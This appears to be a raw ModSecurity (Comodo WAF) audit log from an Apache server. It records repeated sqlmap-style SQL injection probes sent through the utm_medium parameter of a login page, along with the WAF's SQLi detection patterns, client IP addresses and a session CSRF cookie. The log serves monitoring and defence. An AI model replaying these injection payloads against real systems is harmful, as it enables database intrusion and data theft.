"COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(3415=3415)then'top-bar'else(select4026unionselect7858)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: (SELECT (CASE WHEN (3415=3415) THEN 'top-bar' ELSE (SELECT 4026 UNION SELECT 7858) END)) found within MATCHED_VAR: (SELECT (CASE WHEN (3415=3415) THEN 'top-bar' ELSE (SELECT 4026 UNION SELECT 7858) END))"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89RnZqyQ8YfVGvJU7YoQAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?:union(?:\\\\\\\\/\\\\\\\\*.{0,399}\\\\\\\\*\\\\\\\\/)?select)" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5662"] [id "220150"] [rev "5"] [msg "COMODO WAF: SQL injection vulnerability in Ginkgo CMS 5.0 (CVE-2013-5318)||www.getcalley.com|F|2"] [data "(select(casewhen(3415=3415)then'top-bar'else(select4026unionselect7858)end))"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89RnZqyQ8YfVGvJU7YoQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023494724302 51805 (- - -) Stopwatch2: 1750023494724302 51805; combined=4029, p1=350, p2=3526, p3=0, p4=0, p5=152, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8dddd5b-Z-- --3fba4412-A-- [16/Jun/2025:03:08:18.085562 +0530] aE89SQiLzf5Jb_3uGhHf0AAAAAA 172.68.194.213 52548 127.0.0.1 7081 --3fba4412-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%29%20AND%209060%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%289060%3D9060%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%288984%3D8984&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.194.213 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950536ab8caea01c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --3fba4412-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar)%20AND%209060=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(9060=9060)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20(8984=8984&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --3fba4412-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar) and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and (8984=8984&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar) and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and (8984=8984&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89SQiLzf5Jb_3uGhHf0AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023497594392 491282 (- - -) Stopwatch2: 1750023497594392 491282; combined=3883, p1=354, p2=3406, p3=0, p4=0, p5=123, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fba4412-Z-- --1fd0ab4a-A-- [16/Jun/2025:03:08:19.480762 +0530] aE89S4rLgrklqy57Kk2cKQAAAAg 172.71.250.10 52642 127.0.0.1 7081 --1fd0ab4a-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%20AND%209060%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%289060%3D9060%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.250.10 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950536b41fc82c3b-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --1fd0ab4a-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar%20AND%209060=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(9060=9060)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --1fd0ab4a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89S4rLgrklqy57Kk2cKQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023499205792 275092 (- - -) Stopwatch2: 1750023499205792 275092; combined=4527, p1=455, p2=3924, p3=0, p4=0, p5=148, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1fd0ab4a-Z-- --da74ee55-A-- [16/Jun/2025:03:08:21.108959 +0530] aE89TFR6EeXjkGzEkblk3AAAAAs 172.71.144.81 34678 127.0.0.1 7081 --da74ee55-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%29%20AND%209060%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%289060%3D9060%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%28%27MKpo%27%3D%27MKpo&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.81 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950536be6fafdbbd-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --da74ee55-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar)%20AND%209060=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(9060=9060)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20(MKpo=MKpo&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --da74ee55-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar') and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and ('mkpo'='mkpo&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar') and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and ('mkpo'='mkpo&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89TFR6EeXjkGzEkblk3AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023500835260 273793 (- - -) Stopwatch2: 1750023500835260 273793; combined=4406, p1=373, p2=3906, p3=0, p4=0, p5=127, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --da74ee55-Z-- --3cc1e62e-A-- [16/Jun/2025:03:08:22.485554 +0530] aE89Tol8S04UZ4l67-neWwAAAAk 172.71.144.52 34746 127.0.0.1 7081 --3cc1e62e-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%20AND%209060%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%289060%3D9060%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%27rNjN%27%3D%27rNjN&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.52 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950536c6f969dbe0-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --3cc1e62e-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar%20AND%209060=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(9060=9060)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20rNjN=rNjN&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --3cc1e62e-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar' and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and 'rnjn'='rnjn&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar' and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and 'rnjn'='rnjn&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Tol8S04UZ4l67-neWwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023502213602 272067 (- - -) Stopwatch2: 1750023502213602 272067; combined=4207, p1=358, p2=3706, p3=0, p4=0, p5=142, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3cc1e62e-Z-- --cf211a5a-A-- [16/Jun/2025:03:08:23.663227 +0530] aE89T7sEVBap6l1Fvp1ADAAAAAQ 162.158.94.61 34780 127.0.0.1 7081 --cf211a5a-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%20AND%209060%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%289060%3D9060%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29--%20tSJR&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.61 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950536cfaf2137d7-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --cf211a5a-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar%20AND%209060=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(9060=9060)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)--%20tSJR&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --cf211a5a-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)-- tsjr&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (9060=9060) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar and 9060=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (9060=9060) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)-- tsjr&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89T7sEVBap6l1Fvp1ADAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023503374816 288512 (- - -) Stopwatch2: 1750023503374816 288512; combined=3392, p1=359, p2=2892, p3=0, p4=0, p5=141, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf211a5a-Z-- --1f5a2e78-A-- [16/Jun/2025:03:08:30.236332 +0530] aE89VR-kH31pk4mNbsU_EgAAAAo 162.158.87.163 32936 127.0.0.1 7081 --1f5a2e78-B-- GET 